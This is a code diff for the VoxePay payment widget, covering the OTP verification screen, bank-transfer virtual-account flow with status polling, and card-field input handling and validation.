+        const retryBtn = formContainer.querySelector('#voxepay-retry-btn');
+        retryBtn?.addEventListener('click', () => this.handleBackToCard());
+        const closeBtn = formContainer.querySelector('#voxepay-error-close-btn');
+        closeBtn?.addEventListener('click', () => this.close());
+    }
+    /**
+     * Show error — inline for field errors, modal for fatal errors
+     */
+    showErrorModal(code, message, recoverable) {
+        this.renderErrorModal(code, message, recoverable);
+        this.options.onError({ code, message, recoverable });
+    }
+    /**
+     * Render OTP verification view
+     */
+    renderOTPView() {
+        const formContainer = this.container?.querySelector('#voxepay-form-container');
+        if (!formContainer)
+            return;
+        this.state.isOtpStep = true;
+        this.state.otpTimer = 60;
+        this.state.canResendOtp = false;
+        // Use backend message if available (e.g. "Kindly enter the OTP sent to **********2888")
+        const subtitle = this.state.otpDeliveryMessage
+            ? this.state.otpDeliveryMessage
+            : (() => {
+                const sentToPhone = this.options.customerPhone && (!this.state.otpDeliveryMessage || this.state.otpDeliveryMessage.toLowerCase().includes('phone'));
+                const maskedDestination = sentToPhone
+                    ? `****${(this.options.customerPhone ?? '').slice(-4)}`
+                    : this.options.customerEmail
+                        ? `****${this.options.customerEmail.slice(-4)}`
+                        : '****';
+                const destinationLabel = sentToPhone ? 'phone number' : 'email';
+                return `We've sent a 6-digit code to your ${destinationLabel} ending in <strong>${maskedDestination}</strong>`;
+            })();
+        let feeBreakdownHTML = '';
+        if (this.state.feeDetails) {
+            const totalAmount = this.state.feeDetails.grossAmount + this.state.feeDetails.totalFees;
+            const titleEl = this.container?.querySelector('#voxepay-title');
+            if (titleEl) {
+                titleEl.textContent = `Pay ${formatMainUnitAmount(totalAmount, this.state.feeDetails.currency)}`;
+            }
+            feeBreakdownHTML = `
+        <div style="margin: 16px 0; padding: 12px; background: var(--voxepay-surface); border-radius: 8px; border: 1px solid var(--voxepay-border);">
+          <div style="display: flex; justify-content: space-between; margin-bottom: 4px; font-size: 0.85rem; color: var(--voxepay-text-muted);">
+            <span>Amount</span>
+            <span>${formatMainUnitAmount(this.state.feeDetails.grossAmount, this.state.feeDetails.currency)}</span>
+          </div>
+          <div style="display: flex; justify-content: space-between; margin-bottom: 8px; font-size: 0.85rem; color: var(--voxepay-text-muted);">
+            <span>Fee</span>
+            <span>${formatMainUnitAmount(this.state.feeDetails.totalFees, this.state.feeDetails.currency)}</span>
+          </div>
+          <div style="display: flex; justify-content: space-between; border-top: 1px solid var(--voxepay-border); padding-top: 8px; font-weight: 600;">
+            <span>Total Payable</span>
+            <span>${formatMainUnitAmount(totalAmount, this.state.feeDetails.currency)}</span>
+          </div>
+        </div>
+      `;
+        }
+        formContainer.innerHTML = `
+      <div class="voxepay-otp-view">
+        <div class="voxepay-otp-header">
+          <div class="voxepay-otp-icon">📱</div>
+          <h3 class="voxepay-otp-title">Verify Your Payment</h3>
+          <p class="voxepay-otp-subtitle">${subtitle}</p>
+        </div>
+        ${feeBreakdownHTML}
+
+        
+        <div class="voxepay-otp-inputs-container">
+          <div class="voxepay-otp-inputs" id="voxepay-otp-inputs">
+            <input type="text" maxlength="1" class="voxepay-otp-digit" data-index="0" inputmode="numeric" autocomplete="one-time-code" />
+            <input type="text" maxlength="1" class="voxepay-otp-digit" data-index="1" inputmode="numeric" />
+            <input type="text" maxlength="1" class="voxepay-otp-digit" data-index="2" inputmode="numeric" />
+            <input type="text" maxlength="1" class="voxepay-otp-digit" data-index="3" inputmode="numeric" />
+            <input type="text" maxlength="1" class="voxepay-otp-digit" data-index="4" inputmode="numeric" />
+            <input type="text" maxlength="1" class="voxepay-otp-digit" data-index="5" inputmode="numeric" />
+          </div>
+          <div class="voxepay-error-message" id="voxepay-otp-error" style="display: none;"></div>
+        </div>
+
+        <div class="voxepay-otp-timer" id="voxepay-otp-timer">
+          Resend code in <span id="voxepay-timer-count">60</span>s
+        </div>
+        <div class="voxepay-sticky-actions">
+          <button class="voxepay-resend-btn" id="voxepay-resend-otp" disabled>
+            Resend OTP
+          </button>
+          
+          <button type="button" class="voxepay-submit-btn" id="voxepay-verify-otp">
+            <span>✓ Confirm OTP</span>
+          </button>
+          
+          <button class="voxepay-back-btn" id="voxepay-back-to-card">
+            ← Back to card details
+          </button>
+        </div>
+      </div>
+    `;
+        this.attachOTPEventListeners();
+        this.startOTPTimer();
+    }
+    /**
+     * Attach OTP-specific event listeners
+     */
+    attachOTPEventListeners() {
+        const otpInputs = this.container?.querySelectorAll('.voxepay-otp-digit');
+        otpInputs?.forEach((input, index) => {
+            input.addEventListener('input', (e) => this.handleOTPInput(e, index));
+            input.addEventListener('keydown', (e) => this.handleOTPKeydown(e, index));
+            input.addEventListener('paste', (e) => this.handleOTPPaste(e));
+        });
+        const verifyBtn = this.container?.querySelector('#voxepay-verify-otp');
+        verifyBtn?.addEventListener('click', () => this.handleOTPSubmit());
+        const resendBtn = this.container?.querySelector('#voxepay-resend-otp');
+        resendBtn?.addEventListener('click', () => this.handleResendOTP());
+        const backBtn = this.container?.querySelector('#voxepay-back-to-card');
+        backBtn?.addEventListener('click', () => this.handleBackToCard());
+        otpInputs?.[0]?.focus();
+    }
+    handleOTPInput(e, index) {
+        const input = e.target;
+        const value = input.value.replace(/\D/g, '');
+        input.value = value;
+        if (value && index < 5) {
+            const nextInput = this.container?.querySelector(`[data-index="${index + 1}"]`);
+            nextInput?.focus();
+        }
+        this.updateOTPState();
+        this.clearError('otp');
+    }
+    handleOTPKeydown(e, index) {
+        const input = e.target;
+        if (e.key === 'Backspace' && !input.value && index > 0) {
+            const prevInput = this.container?.querySelector(`[data-index="${index - 1}"]`);
+            prevInput?.focus();
+        }
+    }
+    handleOTPPaste(e) {
+        e.preventDefault();
+        const pastedData = e.clipboardData?.getData('text').replace(/\D/g, '').slice(0, 6);
+        if (pastedData) {
+            const inputs = this.container?.querySelectorAll('.voxepay-otp-digit');
+            pastedData.split('').forEach((digit, i) => {
+                if (inputs[i]) {
+                    inputs[i].value = digit;
+                }
+            });
+            this.updateOTPState();
+        }
+    }
+    updateOTPState() {
+        const inputs = this.container?.querySelectorAll('.voxepay-otp-digit');
+        let otp = '';
+        inputs?.forEach(input => otp += input.value);
+        this.state.otp = otp;
+    }
+    startOTPTimer() {
+        const timerEl = this.container?.querySelector('#voxepay-timer-count');
+        const timerContainer = this.container?.querySelector('#voxepay-otp-timer');
+        const resendBtn = this.container?.querySelector('#voxepay-resend-otp');
+        this.state.otpTimerInterval = window.setInterval(() => {
+            this.state.otpTimer--;
+            if (timerEl) {
+                timerEl.textContent = String(this.state.otpTimer);
+            }
+            if (this.state.otpTimer <= 0) {
+                if (this.state.otpTimerInterval) {
+                    clearInterval(this.state.otpTimerInterval);
+                }
+                this.state.canResendOtp = true;
+                if (timerContainer)
+                    timerContainer.style.display = 'none';
+                if (resendBtn)
+                    resendBtn.disabled = false;
+            }
+        }, 1000);
+    }
+    async handleOTPSubmit() {
+        if (this.state.otp.length !== 6) {
+            this.showError('otp', 'Please enter the complete 6-digit code');
+            return;
+        }
+        this.setOTPProcessing(true);
+        try {
+            await this.verifyOTP();
+            if (this.state.otpTimerInterval) {
+                clearInterval(this.state.otpTimerInterval);
+            }
+            const result = await this.processPayment();
+            this.state.isSuccess = true;
+            this.renderSuccessView();
+            this.options.onSuccess(result);
+        }
+        catch (error) {
+            this.setOTPProcessing(false);
+            const paymentError = error;
+            const code = paymentError.code || 'OTP_VALIDATION_FAILED';
+            const message = paymentError.message || 'Invalid OTP. Please try again.';
+            const recoverable = paymentError.recoverable !== false;
+            if (recoverable) {
+                this.showError('otp', message);
+            }
+            else {
+                this.showErrorModal(code, message, false);
+            }
+        }
+    }
+    setOTPProcessing(isProcessing) {
+        const verifyBtn = this.container?.querySelector('#voxepay-verify-otp');
+        if (verifyBtn) {
+            verifyBtn.disabled = isProcessing;
+            verifyBtn.innerHTML = isProcessing
+                ? '<div class="voxepay-spinner"></div><span>Verifying...</span>'
+                : '<span>✓ Confirm OTP</span>';
+        }
+    }
+    async verifyOTP() {
+        if (!this.apiClient || !this.options._sdkConfig) {
+            throw { code: 'SDK_ERROR', message: 'SDK not properly initialized', recoverable: false };
+        }
+        if (this.state.otp.length !== 6) {
+            throw { code: 'INVALID_OTP', message: 'Please enter the complete 6-digit code', recoverable: true };
+        }
+        if (!this.state.paymentId || !this.state.transactionRef) {
+            throw { code: 'MISSING_PAYMENT_DATA', message: 'Payment session expired. Please try again.', recoverable: false };
+        }
+        await this.apiClient.validateOTP(this.options._sdkConfig.paymentLinkSlug, {
+            paymentId: this.state.paymentId, // data.id UUID from /pay response
+            otp: this.state.otp,
+            transactionId: this.state.transactionRef, // same as transactionRef
+            transactionRef: this.state.transactionRef,
+            eciFlag: this.state.eciFlag || undefined,
+            organizationId: this.options._sdkConfig.organizationId,
+        });
+    }
+    async handleResendOTP() {
+        const timerContainer = this.container?.querySelector('#voxepay-otp-timer');
+        const resendBtn = this.container?.querySelector('#voxepay-resend-otp');
+        // Call resend OTP API
+        if (this.apiClient && this.options._sdkConfig && this.state.transactionRef) {
+            try {
+                if (resendBtn)
+                    resendBtn.disabled = true;
+                await this.apiClient.resendOTP(this.options._sdkConfig.paymentLinkSlug, {
+                    transactionRef: this.state.transactionRef,
+                    organizationId: this.options._sdkConfig.organizationId,
+                });
+            }
+            catch (error) {
+                console.error('[VoxePay] Failed to resend OTP:', error);
+                // Continue with timer reset even if API fails
+            }
+        }
+        this.state.otpTimer = 60;
+        this.state.canResendOtp = false;
+        if (timerContainer)
+            timerContainer.style.display = 'block';
+        if (resendBtn)
+            resendBtn.disabled = true;
+        const inputs = this.container?.querySelectorAll('.voxepay-otp-digit');
+        inputs?.forEach(input => input.value = '');
+        this.state.otp = '';
+        this.startOTPTimer();
+        inputs?.[0]?.focus();
+    }
+    handleBackToCard() {
+        if (this.state.otpTimerInterval) {
+            clearInterval(this.state.otpTimerInterval);
+        }
+        this.state.isOtpStep = false;
+        this.state.otp = '';
+        if (this.container) {
+            this.container.innerHTML = this.getModalHTML();
+            this.overlay = this.container.querySelector('.voxepay-overlay');
+            this.overlay?.classList.add('voxepay-visible');
+            this.attachEventListeners();
+            const cardInput = this.container.querySelector('#voxepay-card-number');
+            const expiryInput = this.container.querySelector('#voxepay-expiry');
+            const cvvInput = this.container.querySelector('#voxepay-cvv');
+            const pinInput = this.container.querySelector('#voxepay-pin');
+            if (cardInput)
+                cardInput.value = formatCardNumber(this.state.cardNumber);
+            if (expiryInput)
+                expiryInput.value = this.state.expiry;
+            if (cvvInput)
+                cvvInput.value = this.state.cvv;
+            if (pinInput)
+                pinInput.value = this.state.pin;
+        }
+    }
+    /**
+     * Attach event listeners
+     */
+    attachEventListeners() {
+        const closeBtn = this.container?.querySelector('[data-action="close"]');
+        closeBtn?.addEventListener('click', () => this.close());
+        this.overlay?.addEventListener('click', (e) => {
+            if (e.target === this.overlay) {
+                this.close();
+            }
+        });
+        document.addEventListener('keydown', this.handleEscape);
+        // Payment method tabs
+        const tabs = this.container?.querySelectorAll('.voxepay-method-tab');
+        tabs?.forEach(tab => {
+            tab.addEventListener('click', () => {
+                const method = tab.dataset.method;
+                if (method && method !== this.state.paymentMethod) {
+                    this.switchPaymentMethod(method);
+                }
+            });
+        });
+        // Card-specific listeners
+        if (this.state.paymentMethod === 'card') {
+            const cardInput = this.container?.querySelector('#voxepay-card-number');
+            cardInput?.addEventListener('input', (e) => this.handleCardInput(e));
+            cardInput?.addEventListener('blur', () => this.validateField('cardNumber'));
+            const expiryInput = this.container?.querySelector('#voxepay-expiry');
+            expiryInput?.addEventListener('input', (e) => this.handleExpiryInput(e));
+            expiryInput?.addEventListener('blur', () => this.validateField('expiry'));
+            const cvvInput = this.container?.querySelector('#voxepay-cvv');
+            cvvInput?.addEventListener('input', (e) => this.handleCVVInput(e));
+            cvvInput?.addEventListener('blur', () => this.validateField('cvv'));
+            const pinInput = this.container?.querySelector('#voxepay-pin');
+            pinInput?.addEventListener('input', (e) => this.handlePinInput(e));
+            pinInput?.addEventListener('blur', () => this.validateField('pin'));
+            const form = this.container?.querySelector('#voxepay-payment-form');
+            form?.addEventListener('submit', (e) => this.handleSubmit(e));
+        }
+        // Bank transfer-specific listeners
+        if (this.state.paymentMethod === 'bank_transfer') {
+            this.attachBankTransferListeners();
+            // If no details yet, load them
+            if (!this.state.bankTransferDetails) {
+                this.loadBankTransferDetails();
+            }
+            else {
+                this.startTransferTimer();
+            }
+        }
+    }
+    /**
+     * Attach bank transfer specific event listeners
+     */
+    attachBankTransferListeners() {
+        const copyBtn = this.container?.querySelector('#voxepay-copy-btn');
+        copyBtn?.addEventListener('click', () => {
+            const accountNum = copyBtn.dataset.copy || '';
+            this.copyToClipboard(accountNum);
+        });
+        const confirmBtn = this.container?.querySelector('#voxepay-transfer-confirm');
+        confirmBtn?.addEventListener('click', () => this.handleTransferConfirm());
+    }
+    /**
+     * Switch between payment methods
+     */
+    switchPaymentMethod(method) {
+        this.stopTransferTimer();
+        this.state.paymentMethod = method;
+        // Re-render the whole modal
+        if (this.container) {
+            this.container.innerHTML = this.getModalHTML();
+            this.overlay = this.container.querySelector('.voxepay-overlay');
+            this.overlay?.classList.add('voxepay-visible');
+            this.attachEventListeners();
+            // Restore card values if switching back to card
+            if (method === 'card' && this.state.cardNumber) {
+                const cardInput = this.container.querySelector('#voxepay-card-number');
+                const expiryInput = this.container.querySelector('#voxepay-expiry');
+                const cvvInput = this.container.querySelector('#voxepay-cvv');
+                const pinInput = this.container.querySelector('#voxepay-pin');
+                if (cardInput)
+                    cardInput.value = formatCardNumber(this.state.cardNumber);
+                if (expiryInput)
+                    expiryInput.value = this.state.expiry;
+                if (cvvInput)
+                    cvvInput.value = this.state.cvv;
+                if (pinInput)
+                    pinInput.value = this.state.pin;
+            }
+        }
+    }
+    /**
+     * Load bank transfer details (from callback or via API)
+     */
+    async loadBankTransferDetails() {
+        try {
+            let details;
+            if (this.options.onBankTransferRequested) {
+                // Use merchant-provided callback
+                details = await this.options.onBankTransferRequested();
+            }
+            else if (this.apiClient && this.options._sdkConfig) {
+                if (!this.options._sdkConfig.paymentLinkSlug) {
+                    throw {
+                        code: 'MISSING_PAYMENT_LINK_SLUG',
+                        message: 'paymentLinkSlug is required in VoxePay.init() for bank transfer.',
+                    };
+                }
+                // Call real DVA API
+                const transactionRef = `VP-${Date.now().toString(36).toUpperCase()}-${Math.random().toString(36).substring(2, 8).toUpperCase()}`;
+                const response = await this.apiClient.initiateTransferPayment(this.options._sdkConfig.paymentLinkSlug, {
+                    organizationId: this.options._sdkConfig.organizationId,
+                    transactionRef,
+                    customerId: this.options.customerEmail || '',
+                    customerEmail: this.options.customerEmail,
+                    customerPhone: this.options.customerPhone,
+                    customerName: this.options.customerName,
+                    amount: this.options.amount / 100,
+                    currency: this.options.currency,
+                    paymentMethod: 'BANK_TRANSFER',
+                    authData: btoa(JSON.stringify({ source: 'web', method: 'bank_transfer' })),
+                    narration: this.options.description,
+                    durationMinutes: 30,
+                });
+                // Store transaction ref for status polling
+                // API may return 'id' (DVA) or 'paymentId' (card) depending on payment method
+                this.state.transactionRef = response.transactionRef || transactionRef;
+                this.state.paymentId = response.paymentId || response.id || null;
+                const va = response.virtualAccount;
+                if (!va) {
+                    throw { code: 'MISSING_VIRTUAL_ACCOUNT', message: 'No virtual account returned from server.' };
+                }
+                // Compute expiresIn from the ISO timestamp
+                const expiresAtDate = new Date(va.expires_at);
+                const nowMs = Date.now();
+                const expiresInSeconds = Math.max(0, Math.floor((expiresAtDate.getTime() - nowMs) / 1000));
+                details = {
+                    accountNumber: va.account_number,
+                    bankName: va.bank_name,
+                    accountName: va.account_name,
+                    reference: this.state.transactionRef,
+                    expiresIn: expiresInSeconds,
+                    expiresAt: va.expires_at,
+                    feeDetails: response.feeDetails,
+                    totalPayableAmount: response.feeDetails ? (response.feeDetails.grossAmount + response.feeDetails.totalFees) : undefined,
+                };
+            }
+            else {
+                throw { code: 'SDK_ERROR', message: 'SDK not properly initialized. Missing required organizationId.' };
+            }
+            this.state.bankTransferDetails = details;
+            // Re-render the bank transfer view
+            const formContainer = this.container?.querySelector('#voxepay-form-container');
+            if (formContainer) {
+                const formattedAmount = formatAmount(this.options.amount, this.options.currency);
+                formContainer.innerHTML = this.getBankTransferHTML(formattedAmount);
+                this.attachBankTransferListeners();
+                this.startTransferTimer();
+                const titleEl = this.container?.querySelector('#voxepay-title');
+                if (titleEl && details.totalPayableAmount) {
+                    titleEl.textContent = `Pay ${formatMainUnitAmount(details.totalPayableAmount, details.feeDetails.currency)}`;
+                }
+            }
+        }
+        catch (error) {
+            const errorCode = error?.code || 'BANK_TRANSFER_INIT_FAILED';
+            const errorMessage = error?.message || 'Could not generate bank transfer details. Please try again.';
+            // Show error in the loading area
+            const formContainer = this.container?.querySelector('#voxepay-form-container');
+            if (formContainer) {
+                formContainer.innerHTML = `
+          <div class="voxepay-transfer-view">
+            <div style="text-align: center; padding: 40px 16px;">
+              <div style="font-size: 2.5rem; margin-bottom: 16px;">⚠️</div>
+              <h3 style="font-size: 1.125rem; font-weight: 600; margin-bottom: 8px; color: var(--voxepay-text);">${this.getDVAErrorTitle(errorCode)}</h3>
+              <p style="font-size: 0.875rem; color: var(--voxepay-text-muted); margin-bottom: 24px;">${errorMessage}</p>
+              <button class="voxepay-submit-btn" id="voxepay-retry-transfer"><span>Try Again</span></button>
+            </div>
+          </div>
+        `;
+                const retryBtn = formContainer.querySelector('#voxepay-retry-transfer');
+                retryBtn?.addEventListener('click', () => {
+                    formContainer.innerHTML = `
+            <div class="voxepay-transfer-view">
+              <div class="voxepay-transfer-loading">
+                <div class="voxepay-spinner"></div>
+                <p style="margin-top: 16px; color: var(--voxepay-text-muted);">Generating account details...</p>
+              </div>
+            </div>
+          `;
+                    this.loadBankTransferDetails();
+                });
+            }
+            this.options.onError({
+                code: errorCode,
+                message: errorMessage,
+                recoverable: true,
+                details: error?.data,
+            });
+        }
+    }
+    /**
+     * Get user-friendly error title for DVA error codes
+     */
+    getDVAErrorTitle(code) {
+        const titles = {
+            'ACCOUNT_CREATION_FAILED': 'Account Generation Failed',
+            'ACCOUNT_EXPIRED': 'Account Expired',
+            'INVALID_AMOUNT': 'Invalid Amount',
+            'UNAUTHORIZED': 'Authentication Failed',
+            'ORGANIZATION_NOT_FOUND': 'Configuration Error',
+            'MISSING_VIRTUAL_ACCOUNT': 'Account Generation Failed',
+            'SDK_ERROR': 'Configuration Error',
+        };
+        return titles[code] || 'Something Went Wrong';
+    }
+    /**
+     * Copy text to clipboard with visual feedback
+     */
+    async copyToClipboard(text) {
+        try {
+            await navigator.clipboard.writeText(text);
+            const copyBtn = this.container?.querySelector('#voxepay-copy-btn');
+            if (copyBtn) {
+                copyBtn.innerHTML = `${ICONS.check}`;
+                copyBtn.classList.add('voxepay-copied');
+                setTimeout(() => {
+                    copyBtn.innerHTML = `${ICONS.copy}`;
+                    copyBtn.classList.remove('voxepay-copied');
+                }, 2000);
+            }
+        }
+        catch {
+            // Fallback for older browsers
+            const textarea = document.createElement('textarea');
+            textarea.value = text;
+            textarea.style.position = 'fixed';
+            textarea.style.opacity = '0';
+            document.body.appendChild(textarea);
+            textarea.select();
+            document.execCommand('copy');
+            document.body.removeChild(textarea);
+        }
+    }
+    /**
+     * Handle "I've sent the money" confirmation — starts polling for payment status
+     */
+    async handleTransferConfirm() {
+        const confirmBtn = this.container?.querySelector('#voxepay-transfer-confirm');
+        if (confirmBtn) {
+            confirmBtn.disabled = true;
+            confirmBtn.innerHTML = '<div class="voxepay-spinner"></div><span>Confirming transfer...</span>';
+        }
+        // If no API client or no transaction ref, fall back to pending result
+        if (!this.apiClient || !this.state.transactionRef) {
+            this.stopTransferTimer();
+            const result = {
+                id: this.state.paymentId || `pay_transfer_${Date.now()}`,
+                status: 'pending',
+                amount: this.options.amount,
+                currency: this.options.currency,
+                timestamp: new Date().toISOString(),
+                reference: this.state.bankTransferDetails?.reference,
+                paymentMethod: 'bank_transfer',
+            };
+            this.state.isSuccess = true;
+            this.renderSuccessView();
+            this.options.onSuccess(result);
+            return;
+        }
+        // Show polling UI
+        this.renderPollingView();
+        this.startStatusPolling();
+    }
+    /**
+     * Render the "waiting for payment confirmation" polling view
+     */
+    renderPollingView() {
+        const formContainer = this.container?.querySelector('#voxepay-form-container');
+        if (!formContainer)
+            return;
+        const formattedAmount = formatAmount(this.options.amount, this.options.currency);
+        formContainer.innerHTML = `
+      <div class="voxepay-transfer-view">
+        <div style="text-align: center; padding: 32px 16px;">
+          <div class="voxepay-spinner" style="width: 40px; height: 40px; margin: 0 auto 20px; border-width: 3px;"></div>
+          <h3 style="font-size: 1.125rem; font-weight: 600; margin-bottom: 8px; color: var(--voxepay-text);">Waiting for Payment</h3>
+          <p style="font-size: 0.875rem; color: var(--voxepay-text-muted); margin-bottom: 4px;">
+            We're checking for your transfer of <strong>${formattedAmount}</strong>
+          </p>
+          <p style="font-size: 0.813rem; color: var(--voxepay-text-subtle); margin-bottom: 24px;" id="voxepay-polling-status">
+            This usually takes a few seconds...
+          </p>
+          <button class="voxepay-submit-btn" id="voxepay-cancel-polling" style="background: var(--voxepay-surface); border: 1px solid var(--voxepay-border); color: var(--voxepay-text-muted); box-shadow: none;">
+            <span>Cancel</span>
+          </button>
+        </div>
+      </div>
+    `;
+        const cancelBtn = formContainer.querySelector('#voxepay-cancel-polling');
+        cancelBtn?.addEventListener('click', () => {
+            this.stopStatusPolling();
+            // Re-render bank transfer view so user can try again
+            if (this.state.bankTransferDetails) {
+                const amt = formatAmount(this.options.amount, this.options.currency);
+                formContainer.innerHTML = this.getBankTransferHTML(amt);
+                this.attachBankTransferListeners();
+                this.startTransferTimer();
+            }
+        });
+    }
+    /**
+     * Start polling payment status every 5 seconds
+     */
+    startStatusPolling() {
+        this.stopStatusPolling(); // clear any existing poll
+        const poll = async () => {
+            if (!this.apiClient || !this.state.transactionRef)
+                return;
+            try {
+                const statusData = await this.apiClient.getPaymentStatus(this.state.transactionRef, {
+                    simulateWebhook: this.options._sdkConfig?.simulateWebhook,
+                    bypassKey: this.options._sdkConfig?.bypassKey,
+                });
+                this.handlePollingStatusUpdate(statusData.status, statusData);
+            }
+            catch (error) {
+                console.error('[VoxePay] Status polling error:', error);
+                // Don't stop polling on transient errors — let it retry
+                const statusEl = this.container?.querySelector('#voxepay-polling-status');
+                if (statusEl) {
+                    statusEl.textContent = 'Still checking... Please wait.';
+                }
+            }
+        };
+        // Initial check immediately
+        poll();
+        // Then poll every 5 seconds
+        this.statusPollingInterval = window.setInterval(poll, 5000);
+        // Auto-stop after 30 minutes
+        this.statusPollingTimeout = window.setTimeout(() => {
+            this.stopStatusPolling();
+            this.handlePollingStatusUpdate('EXPIRED', null);
+        }, 30 * 60 * 1000);
+    }
+    /**
+     * Stop payment status polling
+     */
+    stopStatusPolling() {
+        if (this.statusPollingInterval) {
+            clearInterval(this.statusPollingInterval);
+            this.statusPollingInterval = null;
+        }
+        if (this.statusPollingTimeout) {
+            clearTimeout(this.statusPollingTimeout);
+            this.statusPollingTimeout = null;
+        }
+    }
+    /**
+     * Handle status updates from polling
+     */
+    handlePollingStatusUpdate(status, data) {
+        const terminalStatuses = ['COMPLETED', 'FAILED', 'EXPIRED', 'CANCELLED'];
+        if (terminalStatuses.includes(status)) {
+            this.stopStatusPolling();
+            this.stopTransferTimer();
+        }
+        switch (status) {
+            case 'COMPLETED': {
+                const result = {
+                    id: data?.id || this.state.paymentId || `pay_transfer_${Date.now()}`,
+                    status: 'success',
+                    amount: this.options.amount,
+                    currency: this.options.currency,
+                    timestamp: data?.completedAt || new Date().toISOString(),
+                    reference: this.state.transactionRef || undefined,
+                    paymentMethod: 'bank_transfer',
+                    data: data || undefined,
+                };
+                this.state.isSuccess = true;
+                this.renderSuccessView();
+                this.options.onSuccess(result);
+                break;
+            }
+            case 'PAYMENT_RECEIVED': {
+                // Almost done — update the polling UI message
+                const statusEl = this.container?.querySelector('#voxepay-polling-status');
+                if (statusEl) {
+                    statusEl.textContent = 'Payment received! Processing...';
+                }
+                break;
+            }
+            case 'PARTIAL_PAYMENT': {
+                this.stopStatusPolling();
+                this.renderTransferErrorView('Partial Payment Received', 'The amount transferred is less than the required amount. Please transfer the remaining balance or contact support.');
+                break;
+            }
+            case 'OVERPAID': {
+                // Overpayment is still successful — show success but note the overpayment
+                const result = {
+                    id: data?.id || this.state.paymentId || `pay_transfer_${Date.now()}`,
+                    status: 'success',
+                    amount: this.options.amount,
+                    currency: this.options.currency,
+                    timestamp: data?.completedAt || new Date().toISOString(),
+                    reference: this.state.transactionRef || undefined,
+                    paymentMethod: 'bank_transfer',
+                    data: { ...data, overpaid: true },
+                };
+                this.state.isSuccess = true;
+                this.renderSuccessView();
+                this.options.onSuccess(result);
+                break;
+            }
+            case 'EXPIRED': {
+                this.renderTransferErrorView('Payment Expired', 'The virtual account has expired. Please try again to generate a new account.');
+                this.options.onError({
+                    code: 'ACCOUNT_EXPIRED',
+                    message: 'Virtual account expired before payment was received.',
+                    recoverable: true,
+                });
+                break;
+            }
+            case 'FAILED': {
+                this.renderTransferErrorView('Payment Failed', data?.message || 'The payment could not be processed. Please try again.');
+                this.options.onError({
+                    code: 'PAYMENT_FAILED',
+                    message: data?.message || 'Payment failed.',
+                    recoverable: true,
+                });
+                break;
+            }
+            case 'CANCELLED': {
+                this.renderTransferErrorView('Payment Cancelled', 'This payment has been cancelled.');
+                this.options.onError({
+                    code: 'PAYMENT_CANCELLED',
+                    message: 'Payment was cancelled.',
+                    recoverable: false,
+                });
+                break;
+            }
+        }
+    }
+    /**
+     * Render error view for transfer issues with retry option
+     */
+    renderTransferErrorView(title, message) {
+        const formContainer = this.container?.querySelector('#voxepay-form-container');
+        if (!formContainer)
+            return;
+        formContainer.innerHTML = `
+      <div class="voxepay-transfer-view">
+        <div style="text-align: center; padding: 40px 16px;">
+          <div style="font-size: 2.5rem; margin-bottom: 16px;">❌</div>
+          <h3 style="font-size: 1.125rem; font-weight: 600; margin-bottom: 8px; color: var(--voxepay-text);">${title}</h3>
+          <p style="font-size: 0.875rem; color: var(--voxepay-text-muted); margin-bottom: 24px;">${message}</p>
+          <button class="voxepay-submit-btn" id="voxepay-retry-transfer"><span>Try Again</span></button>
+        </div>
+      </div>
+    `;
+        const retryBtn = formContainer.querySelector('#voxepay-retry-transfer');
+        retryBtn?.addEventListener('click', () => {
+            // Reset state for new attempt
+            this.state.bankTransferDetails = null;
+            this.state.transactionRef = null;
+            this.state.paymentId = null;
+            formContainer.innerHTML = `
+        <div class="voxepay-transfer-view">
+          <div class="voxepay-transfer-loading">
+            <div class="voxepay-spinner"></div>
+            <p style="margin-top: 16px; color: var(--voxepay-text-muted);">Generating account details...</p>
+          </div>
+        </div>
+      `;
+            this.loadBankTransferDetails();
+        });
+    }
+    /**
+     * Start the transfer countdown timer
+     */
+    startTransferTimer() {
+        if (!this.state.bankTransferDetails)
+            return;
+        this.state.transferTimer = this.state.bankTransferDetails.expiresIn;
+        this.state.transferTimerInterval = window.setInterval(() => {
+            this.state.transferTimer--;
+            const countdownEl = this.container?.querySelector('#voxepay-transfer-countdown');
+            if (countdownEl) {
+                countdownEl.textContent = this.formatCountdown(this.state.transferTimer);
+            }
+            if (this.state.transferTimer <= 0) {
+                this.stopTransferTimer();
+                // Show expired state
+                const timerEl = this.container?.querySelector('#voxepay-transfer-timer');
+                if (timerEl) {
+                    timerEl.innerHTML = `${ICONS.clock} <span style="color: var(--voxepay-error);">Account expired. Please try again.</span>`;
+                }
+                const confirmBtn = this.container?.querySelector('#voxepay-transfer-confirm');
+                if (confirmBtn)
+                    confirmBtn.disabled = true;
+            }
+        }, 1000);
+    }
+    /**
+     * Stop the transfer countdown timer
+     */
+    stopTransferTimer() {
+        if (this.state.transferTimerInterval) {
+            clearInterval(this.state.transferTimerInterval);
+            this.state.transferTimerInterval = null;
+        }
+    }
+    handleCardInput(e) {
+        const input = e.target;
+        const formatted = formatCardNumber(input.value);
+        input.value = formatted;
+        this.state.cardNumber = formatted.replace(/\s/g, '');
+        const brandEl = this.container?.querySelector('#voxepay-card-brand');
+        const brand = detectCardBrand(this.state.cardNumber);
+        if (brandEl) {
+            brandEl.textContent = brand ? CARD_BRAND_DISPLAY[brand.code] || '' : '';
+            brandEl.style.opacity = brand ? '1' : '0';
+        }
+        this.clearError('cardNumber');
+    }
+    handleExpiryInput(e) {
+        const input = e.target;
+        const formatted = formatExpiry(input.value);
+        input.value = formatted;
+        this.state.expiry = formatted;
+        this.clearError('expiry');
+    }
+    handleCVVInput(e) {
+        const input = e.target;
+        const formatted = formatCVV(input.value);
+        input.value = formatted;
+        this.state.cvv = formatted;
+        this.clearError('cvv');
+    }
+    handlePinInput(e) {
+        const input = e.target;
+        const formatted = formatPIN(input.value);
+        input.value = formatted;
+        this.state.pin = formatted;
+        this.clearError('pin');
+    }
+    validateField(field) {
+        let result;
+        switch (field) {
+            case 'cardNumber':
+                result = validateCardNumber(this.state.cardNumber);
+                break;
+            case 'expiry':
+                result = validateExpiry(this.state.expiry);
+                break;
+            case 'cvv':
+                result = validateCVV(this.state.cvv, this.state.cardNumber);
+                break;
+            case 'pin':
+                result = validatePIN(this.state.pin);
+                break;
+            default:
+                return true;
+        }
+        if (!result.valid) {
+            this.showError(field, result.error || 'Invalid');
+            return false;
+        }
+        this.clearError(field);
+        return true;
+    }
+    showError(field, message) {
+        const errorEl = this.container?.querySelector(`#voxepay-${field === 'cardNumber' ? 'card' : field}-error`);
+        const inputEl = this.container?.querySelector(`#voxepay-${field === 'cardNumber' ? 'card-number' : field}`);
+        if (errorEl) {
+            errorEl.innerHTML = `${ICONS.error} ${message}`;
+            errorEl.style.display = 'flex';
+        }
+        inputEl?.classList.add('voxepay-error');
+    }
